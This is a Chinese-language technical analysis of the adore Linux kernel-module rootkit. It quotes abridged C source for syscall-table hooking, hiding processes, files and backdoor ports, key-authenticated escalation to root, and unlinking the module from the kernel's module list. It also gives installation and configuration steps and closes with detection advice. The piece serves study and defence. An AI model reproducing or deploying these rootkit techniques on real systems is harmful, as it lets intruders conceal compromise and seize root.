通常LKM用来为系统提供额外的功能,而不用重新编译内核,例如:加载设备驱动程序和其它的硬件驱动程序等。Linux、Solaris和BSD(Free、Net和open)等操作系统都使可加载内核模块实现系统的某些功能。某些rootkit能够利用这种机制,把自己作为内核的可加载模块运行,在内核层欺骗应用程序,而不用修改应用程序本身,因此比传统的rootkit具有更好的隐蔽性。现在LKM rootkit已经有好多种了,例如:slkm、knark和adore。本文对adore rootkit进行分析(注意:adore rootkit不是adore 蠕虫)。
adore是一个Linux LKM(Loadable Kernel Module)rootkit。作者是Stealth。可以用于Linux-2.2.x和Linux-2.4.x系列的内核。其核心部分就是一个叫做adore.o的LKM。除此之外,还有一个用于隐藏adore.o的模块cleaner.o,一个控制工具ava,以及一个启动脚本startadore。
adore的源代码包括以下文件:
Changelog
LICENSE
Makefile.gen <--如果configure脚本执行失败,可以使用这个文件
README
TODO
adore.c <--adore.o模块的源代码
adore.h
ava.c <--控制命令
cleaner.c <--cleaner.o模块的源代码,用于隐藏adore模块
configure <--安装脚本
dummy.c
libinvisible.c <--libinvisible是ava和adore模块之间的接口
libinvisible.h
rename.c
startadore <--启动脚本
2.adore模块
前面我们讲过,adore rootkit的核心部分是adore.o模块。在这个模块中,通过伪造一些系统调用,实现了进程的隐藏/重现、目录的隐藏/重现、控制进程(ava)的验证以及后门的隐藏等功能。这个模块中的函数大体可以分为:
1.伪造的系统调用
adore rootkit使用如下函数替代真正的系统调用:n_getdents、n_getdents64、n_fork、n_clone、n_kill、n_write、n_close、n_mkdir、n_oldstat、n_oldlstat、n_stat、n_lstat、n_stat64、n_lstat64、n_open。这些函数基本都是真正的相关系统调用封装。
2.模块的初始化、卸载函数(init_module、cleanup_module)
执行adore模块的初始化(使用伪造的系统调用替代原来的系统调用)和卸载模块的清理工作(恢复原始的系统调用等)。
3.木马函数
包括:hide_process、remove_process、unhide_process、strip_invisible、unstrip_invisible。这些函数通过修改指定进程的进程控制块(task_struct)中的某些信息,实现进程的隐藏、删除和重现功能。
4.其它的辅助函数和宏
包括函数:my_atoi、my_find_task、is_invisible、is_secret、is_secret64、fp_put、fp_get 和宏:REPLALE、RESTORE。
2.1.adore模块的初始化和卸载函数
adore的初始化函数init_module
int init_module(void)
{
struct task_struct *p = current;/*当前进程*/
lock_kernel();
EXPORT_NO_SYMBOLS;/*没有其它模块需要的符号,不向模块符号表导出符号*/
for (; p->pid != 1; p = p->next_task)/*寻找init(1号)进程*/
;
init_hook = p;
/*保存init进程的位置,用来指定for_each_task(adore.h)宏进行搜索的位置*/
. . .
REPLACE(write);
REPLACE(getdents);
/*修改内核的系统调用表(sys_call_table)使用伪造的系统调用替代真正的系统调用*/
/*而真正的系统调用被以o_系统调用名的方式重新命名(如:o_write)*/
. . .
}
cleanup_module函数
这个函数在adore模块被卸载时,使用RESTORE宏重新恢复真正的系统调用。
2.2.木马函数
2.2.1.hide_process/unhide_process/remove_process
这三个函数用来隐藏(hide_process)以及重现(unhide_process)/删除(remove_process)进程。adore在Linux的进程控制块(task_struct,在include/linux/sched.h文件中定义)的进程标志域(task_struct.flags))引入了两个进程标志:PF_INVISIBLE和PF_AUTH。如果进程控制块标志域的PF_INVISIBLE位被置位就表示进程是不可以显示的。进程标志PF_AUTH是用来限制对于隐藏进程的操作,只能具有PF_AUTH进程标志的进程才具有对被隐藏进程某些操作权限(例如:kill),而如果不进行验证,用户只要向系统的第2到第NR_TASKS号进程发出SIGVISIBLE信号,就可以轻松使被adore隐藏的进程露出原型。
BTW,进程的验证是由伪造的系统变量mkdir完成的,具体验证过程将在ava节中详细解释。
当用户执行有关进程的系统调用时,伪造的系统调用就会检查相关进程的进程控制块标志域的这两个标志是否已经设置,从而判断是否执行针对这个进程的操作。下面我们看一下这两个函数的源代码
hide_process
int hide_process(pid_t pid)
{
struct task_struct *p;
if (pid <= 1)
return -1;
/*进制对idle(0)进程和init(1)进程进行任何的操作*/
if ((p = my_find_task(pid)) == NULL)
return -1;
p->flags |= (PF_INVISIBLE|PF_AUTH);
/*把进程标志为隐藏的,并且使这个进程也具有对隐藏进程进行操作的权限*/
return 0;
}
unhide_process
int unhide_process(pid_t pid)
{
struct task_struct *p = my_find_task(pid);
if (!p)
return -1;
p->flags &= ~(PF_INVISIBLE|PF_AUTH);
/*把进程控制块的PF_INVISIBLE和PF_AUTH标志清除*/
return 0;
}
remove_process
int remove_process(pid_t pid)
{
struct task_struct *p;
if (pid <= 1)
return -1;
/*不允许删除IDLE和init进程*/
. . .
if (p->p_cptr != NULL)
return -1;
/*有子进程的进程不能被删除*/
REMOVE_LINKS(p);
/*REMOVE_LINKS()宏来自sched.h文件,用来从task_struct链表删除一个进程控制块*/
. . .
2.2.2.strip_invisible()、unstrip_invisible()函数
strip_invisible()函数的作用是从/proc文件系统中隐藏进程目录。在/proc文件系统中没有pid=0的进程(swapper进程)目录,这个函数利用这一点,把进程PID修改为0,实现了在/proc文件系统中隐藏进程的目的,原来的进程号(pid)则被保存在了进程控制块的exit_code域中;unstrip_invisible()函数执行相反的操作,在/proc文件系统中恢复进程的显示。adore的这种处理方式可以在一定程度上提高n_getdents和n_getdents两个函数的速度。
2.3.伪造的系统调用
在adore模块中,实现了一些有关进程和文件/目录操作的系统调用,通过这些伪造的系统调用达到隐藏自己的目的。
2.3.1.有关进程的系统调用
SIGINVISIBLE、SIGVISIBLE和SIGREMOVE
在adore.h头文件中,定义了三个信号SIGINVISIBLE、SIGVISIBLE和SIGREMOVE,adore通过这三个信号实现进程的隐藏、重现和删除。
n_fork
用来替代fork系统调用,首先对执行这个系统调用的进程进行检查,如果这个进程是隐藏的,其子进程也必须隐藏。
int n_fork(struct pt_regs regs)
{
pid_t pid;
int hide = 0;
lock_kernel();
if (is_invisible(current->pid))
++hide;
/*检查执行fork系统调用的进程flags域是否设置了PF_INVISIBLE标志*/
pid = o_fork(regs);
/*执行真正的fork系统调用*/
if (hide && pid >= 0)
hide_process(pid);
/*如果父进程是不可见的,则隐藏子进程*/
unlock_kernel();
return pid;
}
n_clone
封装Linux特有的系统调用sys_clone,执行流程和n_fork几乎完全相同,只是用o_clone代替o_fork。
n_kill
封装kill系统调用。
int n_kill(pid_t pid, int sig)
{
. . . .
if (sig != SIGINVISIBLE && sig != SIGVISIBLE && sig != SIGREMOVE) {
. . . .
if (is_invisible(pid) && !is_invisible(current->pid) &&
current->pid != 1)
ret = -ESRCH;
else
ret = o_kill(pid, sig);
/*当前进程发送的信号不是SIGINVISIBLE、SIGVISIBL、ESIGREMOVE*/
/*而当前进程不属于rootkit(非INVISIBLE进程)而且还不是init进程*/
/*就拒绝发送信号 */
. . . .
}
if ((current->flags & PF_AUTH) != PF_AUTH) {
ret = -ESRCH;
goto out;
}
/*如果发出SIGINVISIBLE、SIGVISIBLE、SIGREMOVE信号的进程不是ava或者其它经过验证*/
/*的程序,就拒绝为其发送信号*/
. . . .
if (sig == SIGINVISIBLE)
ret = hide_process(pid);
else if (sig == SIGREMOVE)
ret = remove_process(pid);
else
ret = unhide_process(pid);
/*处理SIGINVISIBLE、SIGVISIBLE、SIGREMOVE信号*/
. . . .
}
2.3.2.有关文件/目录的系统调用
redirfile结构
redirfile结构保存文件重定向信息。通过文件的重定向,可以轻松地逃避数据完整性检测工具的检测。例如:攻击者使用自己的ls命令代替了/bin/ls文件,把原来的文件保存为/tmp/ls,那么以后所有对/bin/ls文件的操作都被重定向到了/tmp/ls。这时,你可以会有疑问,既然文件本重定向,那么我们执行木马命令/bin/ls时,是不是同样也会被重定向到/tmp/ls来执行系统原来的命令?这倒不必担心,execve类系统调用是在内核空间,它们不会使用用户空间的open等系统调用,因此执行木马程序时,是不会被重定向的。
BTW,在开始使用adore时,只要使用insmod adore.o命令加载adore模块,我就无法使用ls命令(command not found)。这是因为在adore.h文件中:
struct redirfile redir[] = {
{ "/bin/ls", "/tmp/ls" },
{ "/tmp/1", "/tmp/2" },
{ NULL, NULL }
};
每当shell要加载/bin/ls时,首先会使用stat之类的系统调用,找不到/tmp/ls就会出错返回。
如果想实际使用adore rootkit,你必须根据自己的情况修改上面的定义。这个结构的原型如下:
struct redirfile {
char *requested;/*请求的文件名*/
char *redirected;/*被重定向后的文件名*/
};
关于文件重定向,adore的实现方式并不是很完善,可能会有更好的方式:P
ELITE_CMD、ADORE_KEY和ELITE_UID
在介绍有关的函数之前,需要介绍几个应该在编译之前设置的常量:ELITE_CMD、ADORE_KEY和ELITE_UID。ELITE_CMD用来向adore模块传递控制指令(见n_close);ELITE_UID设置adore rootkit所有文件的属主(见is_secret);而ADORE_KEY用来对使用adore功能的进程进行验证(见n_mkdir)。
HIDDEN_SERVICES
在adore.h文件中定义的这个常量也需要在使用adore时,根据实际情况进行修改。HIDDEN_SERVICES被n_write函数用来阻止netstat输出后门端口。格式(可以参考netstat的输出:):
":服务名(或端口)" NULL
n_open()函数
封装open系统调用,如果文件出现在redir(struct redirfile)中,就把要打开的文件重定向到另外的文件(reddir[].redirected)。然后,调用真正的sys_open(o_open)。
n_oldstat、n_oldlstat、n_stat、n_lstat、n_stat64、n_lstat64
这些系统调用(oldstat、oldlstat、stat、lstat、stat64、lstat64)都是用来获得文件状态的。在执行真正的操作之前,它们都会检查文件出现在redir(struct redirfile)中,如果是,就把要打开的文件重定向到另外的文件(reddir[].redirected)。然后执行真正的相关系统调用。如果想了解有关这些系统调用更为详细的信息,请参考相关的手册页。
n_getdents和n_getdents64
getdents系统调用用来获得目录条目,是readdir系统调用的替代。adore rootkit支持64位的系统,n_getdents64是针对64位Linux系统的(其它后缀为64的伪造系统调用也是),这里我们只介绍n_getdents。在这个函数中,首先针对proc文件系统进行特别的处理,接着调用真正的getdents(o_getdents),最后清除需要隐藏的条目。
int n_getdents(unsigned int fd, struct dirent *dirp, unsigned int count)
{
. . . .
sb = file->f_dentry->d_sb;
dinode = file->f_dentry->d_inode;
/*获得这个目录的超级块和索引节点*/
if (dinode->i_ino == PROC_ROOT_INO)
proc = 1;
/*是在/proc文件系统中吗?*/
if (proc)
strip_invisible();
/*如果是在/proc文件系统中,就调用strip_invisible()处理*/
ret = o_getdents(fd, dirp, count);
/*调用真正的getdents*/
if (proc)
unstrip_invisible();
/*恢复正常*/
. . . .
while (ptr < (char *)orig_d + r) {
curr = (struct dirent *)ptr;
offset = curr->d_reclen;
/* dirent结构(dirent.h)的d_reclen保存这个dirent结构的长度*/
if (is_secret(sb, curr)) {
/*检查当前的目录是否需要隐藏*/
if (is_secret(sb, curr)' '(proc && is_invisible(my_atoi(curr->d_name)))) {
if (!prev) {
ret -= offset;
d = (struct dirent*)((char*)d + offset);
/*如果这个条目是第一个就将其删除*/
} else { /* 不是第一个条目 */
prev->d_reclen += offset;
memset(curr, 0, offset);
}
} else
prev = curr;
ptr += offset;
}
. . . .
}
n_mkdir
n_mkdir封装mkdir功能,同时这个函数还用来对使用adore功能的进程进行验证。
if (strcmp(key, ADORE_KEY) == 0) {
current->flags |= PF_AUTH;
/*ADORE_KEY是在编译时设置的一个字符串,用来验证进程是否有权限使用adore提供的功能*/
n_write
这个函数主要是阻止netstat进程输出有关adore的信息。它的流程如下:
检查当前进程是否是netstat。
把所有包含HIDDEN_SERVICES里面设置的字符串的输出行过滤掉。
调用真正的sys_write(o_write),输出通过检查的信息。
n_close
这个函数也是adore中比较重要的一个函数。它除了能够调用执行正常的sys_close(o_close)关闭文件描述符之外,还有提升后门进程权限、卸载adore模块和检查adore模块是否运行的功能。
int n_close(unsigned int fd)
{
int r;
lock_kernel();
switch (fd) {
case ELITE_CMD:/*提升后门进程的权限*/
if ((current->flags & PF_AUTH) != PF_AUTH) {
r = -EPERM;
break;
}
current->uid = current->euid = 0;
current->gid = current->egid = 0;
current->suid = current->sgid = 0;
current->fsuid = current->fsgid = 0;
/*使后门进程以root的权限运行*/
cap_t(current->cap_effective) = ~0;
cap_t(current->cap_inheritable) = ~0;
cap_t(current->cap_permitted) = ~0;
/*设置当前进程有关capability的域*/
r = 0;
break;
/*卸载adore模块*/
case ELITE_CMD + 1:
if ((current->flags & PF_AUTH) != PF_AUTH) {
r = -EPERM;
break;
}
r = cleanup_module();
break;
/* 检查adore模块是否已经安装 */
case ELITE_CMD + 2:
if ((current->flags & PF_AUTH) != PF_AUTH) {
r = -EPERM;
break;
}
r = ADORE_VERSION;
break;
default:
r = o_close(fd);
break;
}/*执行正常的关闭操作*/
unlock_kernel();
return r;
}
2.4.其它函数
is_invisible
检查进程是否是隐藏。
is_secret和is_secret64
检查文件或者目录的属主是否是ELITE_UID,如果是就表示是应该隐藏的。
3.cleaner模块
adore rootkit使用cleaner模块来隐藏adore模块。cleaner模块利用init_module函数中的两行程序,把adore模块从module_list中删除,实现了隐藏adore模块的目的:
if (__this_module.next)
__this_module.next = __this_module.next->next;
这种实现方式非常简单而有效,但是未免过于粗暴,太不精巧:P。它破坏了系统内核的数据结构,很可能造成系统的崩溃。而且,这其中很显然存在一些竞争条件,必须在安装了adore模块之后,紧接着安装cleaner模块才能实现隐藏adore的目的。作者在发布的源代码中也提供了一个叫做startadore的脚本。这个脚本实际上只有三行:
insmod adore.o
insmod cleaner.o
rmmod cleaner
4.adore rootkit的控制程序ava
ava是adore rootkit的控制程序,用户可以使用ava来控制adore模块的行为。ava支持以下选项:
Usage: ./ava {h,u,r,R,i,v,U} [file, PID or dummy (for U)]
h 隐藏文件(hide file
u 重现文件(hide file)
r 以root的权限运行一个程序(execute as root)
R 永远删除一个进程(remove PID forever)
U 卸载adore模块(uninstall adore)
i 隐藏一个进程(make PID invisible)
v 让一个进程重现(make PID visible)
4.1.ava的初始化
ava首先要通过让adore模块的验证。通过验证之后,就使adore把自己的权限升级为root。这两步分别是通过mkdir和cols系统调用完成的,具体的验证和权限提升操作,我们在前面已经讲过。:P
4.2.命令选项
弄清楚adore模块的各种功能之后,就可以很轻松地理解ava的各个命令选项是如何实现的:P
隐藏文件
把需要隐藏的文件或者目录的属主改为ELITE_UID。
重现文件
把文件的属主改为root。
隐藏进程
向需要隐藏的进程发出SIGINVISIBLE信号,进入内核空间后,由n_kill调用hide_process隐藏进程。
删除进程
向被删除的进程发出SIGREMOVE信号,进入内核空间后由n_kill调用remove_process删除进程控制块。
重现进程
向进程发出SIGVISIBLE信号,后面的工作由伪造的系统调用n_kill调用unhide_process完成。
以root权限执行某个程序
在ava中执行execve系统调用。
5.adore的安装
了解了上面的东西,安装adore rootkit也就非常容易了。
首先,针对实际情况,修改adore.h头文件中的redir和HIDDEN_SERVICES。
运行configure脚本
执行make命令对其进行编译。
使用startadore脚本安装adore。
详情请参考其README文件。
6.adore的检测
由于adore使用了LKM计数,所以非常难以检测到。不过,现在已经有了检测LKM类型rootkit的工具了,kstat就是很不错的一个工具。关于KSTAT的使用请参考本站的有关文章。
另外,如果被adore侵入,最好使用一个不支持LKM的内核重新启动系统,这样adore模块将失去其作用。它隐藏的东西也就无所遁形了:P。
结论
要说的前面似乎都说了:P,不过为了保持文章的完整性,还是加上了这一段。有句成语叫做道高一尺,魔高一丈,在安全领域也是如此,不断地有新的技术被运用到了rootkit中。在最近发布的Phrack 58中,sd(sd@sf.cz)和devik(devik@cdi.cz)不用LKM实现内核层rootkit(Linux on-the-fly kernel patching without LKM, Phrack Volume 0x0b, Issue 0x3a, Phile #0x07 of 0x0e)的技术。
转载:LinuxAid